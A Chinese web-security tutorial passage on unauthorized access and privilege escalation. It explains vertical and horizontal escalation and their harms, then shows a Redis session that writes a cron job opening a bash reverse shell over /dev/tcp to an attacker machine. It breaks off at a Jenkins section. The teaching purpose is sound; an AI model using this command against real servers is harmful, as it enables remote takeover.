本文由红日安全成员: misakikata 编写,如有不当,还望斧正。
大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec-redclub@qq.com)联系我们。
1.越权
1.1 漏洞简介
未授权访问,顾名思义不进行请求授权的情况下对需要权限的功能进行访问执行。通常是由于认证页面存在缺陷,无认证,安全配置不当导致。常见于服务端口,接口无限制开放,网页功能通过链接无限制用户访问,低权限用户越权访问高权限功能。
何为越权漏洞,通俗的理解为用户可以操作超出自己管理权限范围的功能,从而进行非一般用户可以操作的行为。越权一般可以分为:垂直越权,水平越权。而在非用户登陆模式下,任意用户访问特定地址或链接均可以访问到需要用户身份后才可以访问到的功能。越权也可以看为安全配置不当导致的未授权访问。
1.2 漏洞原理
未授权访问是系统对用户限制不全,或者无限制,可以让任意用户或者限制访问用户,可以访问到内部敏感信息,导致的信息泄露,以及系统功能的执行。越权漏洞的产生原因是未对访问功能做权限的效对,或者限制不全,导致对用户的限制只局限于某一个功能和操作上。
1.3 漏洞危害
未授权访问通常是会泄露用户信息,系统信息。某些服务和系统中,未授权访问还可以执行系统命令,操作系统文件,导致系统的整体安全遭到破坏。而越权可以分为水平越权和垂直越权。垂直越权漏洞会导致低权限用户用来执行高权限用户的功能,获取高权限用户的账号信息,执行高权限用户的操作功能。水平越权会导致同一层级间的用户可以互相访问到对方的敏感信息,如保存的地址、手机号、订单记录。同时还可能会以其他平级权限用户的身份来执行某行功能,如购买,删除,添加,修改等。
- 漏洞测试方法
2.1 常见的未授权服务
2.1.1 redis未授权访问
此问题在互联网上曾经多数存在,redis默认开放6379端口,且对外开放。可以通过此端口来执行命令写入文件来反弹shell。
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x “\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n”
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK
2.1.2 Jenkins未授权访问
默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。
http://www